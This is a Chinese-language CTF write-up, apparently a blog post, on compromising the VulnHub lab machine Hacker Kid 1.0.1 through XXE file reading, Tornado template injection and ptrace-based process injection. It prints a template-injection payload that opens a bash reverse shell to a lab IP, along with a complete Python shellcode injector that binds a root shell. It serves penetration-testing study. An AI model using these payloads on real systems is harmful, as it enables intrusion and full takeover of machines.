【HACKER KID: 1.0.1靶机】

信息搜集

开启靶机。
在这里插入图片描述
在这里插入图片描述
使用nmap扫描,发现存活靶机,192.168.85.145,靶机开放端口为53,80,9999。
进一步搜集下对应段开启的服务。
在这里插入图片描述
在这里插入图片描述
发现,9999端口开启的是tornado服务。
先打开web网站,看下。
在这里插入图片描述
好像再提示挖掘?还是使用dig工具?先放下,继续搜集信息。

在这里插入图片描述
#app.html页面源码,发现存在提示,给了一个参数。这个参数应该是页面数,先尝试下。
在这里插入图片描述

在这里插入图片描述
发现page_no=21时,返回数据不同。
在这里插入图片描述

提示我们这个网站还绑定了一个域名,先添加到/etc/hosts文本中。
在这里插入图片描述
网站首页不是提示我们dig吗,尝试下,是不是该地址还存在一些未发现的东西?比如其它子域名?
在这里插入图片描述
结合一开始信息搜集到的53端口,瞬间思路清晰了。

在这里插入图片描述
发现确实还存在一个子域,hackerkid.blackhat.local。先将域名添加到/etc/hosts文件上。
在这里插入图片描述
发现存在一个创建账号的页面,先尝试提交下信息。
在这里插入图片描述
发现,是xml格式进行的信息交互。盲猜可能存在xxe漏洞。
在这里插入图片描述
发现确实存在xxe漏洞。
在这里插入图片描述
发现saket用户权限除root外最高,查看下saket用户目录中是否存在.ssh,.bashrc文件。
在这里插入图片描述
发现saket用户目录下确实存在.bashrc文件。
在这里插入图片描述
在这里插入图片描述
发现登录用户和密码。但现在存在的问题是这是什么地方的账号密码?
目前还有两个端口未使用,53端口以及9999端口,但53端口是bind服务,也就是dns解析服务。也就是说只剩下9999端口,并且发现tornado服务,此处9999端口对应的也应该是一个web服务。
在这里插入图片描述
打开后发现,此处正好有一个登陆页面,想到刚才搜集到的用户名和密码,尝试下。
admin:Saket!#$%@!!
在这里插入图片描述
登陆失败。。。。。难受。。。。
但想到密码应该是正确的,那么就是用户名出现问题了,想到刚才看到的/etc/hosts文件中的用户信息saket,本来账号密码就是在saket用户下发现,那么此处的登录名是否就是saket,那就先尝试下。
在这里插入图片描述
成功登录进去,并且发现提示,告诉网站name,那么是否是get型或post型传参。
在这里插入图片描述
经过测试,此处使用的name传参是get型,那么下一步怎么做呢?
此时想到这个网站使用的是tornado服务,那么是否存在服务型漏洞?
在这里插入图片描述
在先知社区中进行搜索tornado服务,发现该服务存在ssti漏洞。
在这里插入图片描述
在这里插入图片描述
使用ssti漏洞exp进行测试,出现报错,发现该服务使用的python3。
在这里插入图片描述
经过测试,可以使用bash指令反弹会话.
在这里插入图片描述

{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.85.128/4444 0>&1"')}}

在这里插入图片描述
nc成功接收到会话。

提权

在这里插入图片描述
使用linpeas.sh跑一下
在这里插入图片描述
在这里插入图片描述
找到提权脚本。

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 
 
import ctypes
import sys
import struct
 
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
 
PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17
 
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
 
class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]
 
libc = ctypes.CDLL("libc.so.6")
 
pid=int(sys.argv[1])
 
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
 
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
 
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
 
print("Instruction Pointer: " + hex(registers.rip))
 
print("Injecting Shellcode at: " + hex(registers.rip))
 
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
 
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
 
  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)
 
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
 
print("Shellcode Injected!!")
 
# Modify the instuction pointer
registers.rip=registers.rip+2
 
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
 
print("Final Instruction Pointer: " + hex(registers.rip))
 
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

上传到靶机上。
使用ps -aux | grep root
获取到root用户权限执行的进程。
使用python2 shellcode.py root进程号。
netstat -anltp | grep 5600
获取是否成功注入进程。
在这里插入图片描述
在这里插入图片描述
下一步使用nc直接连接到靶机5600端口即可。
在这里插入图片描述
在这里插入图片描述
成功建立连接。
在这里插入图片描述
ok,游戏结束。

参考链接

python Capabilities cap_sys_ptrace+ep提权:http://t.zoukankan.com/zlgxzswjy-p-15185591.html.
linpeas.sh:https://github.com/carlospolop/PEASS-ng/releases/tag/20220522.
ssti模板注入:https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#tornado-python.
dig详细使用教程:https://blog.csdn.net/smli_ng/article/details/105921859.
vulnhub之Hacker_Kid-v1.0.1:https://blog.csdn.net/qwweggfe/article/details/119861584.
HACKER KID: 1.0.1下载地址:https://www.vulnhub.com/entry/hacker-kid-101,719/.

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值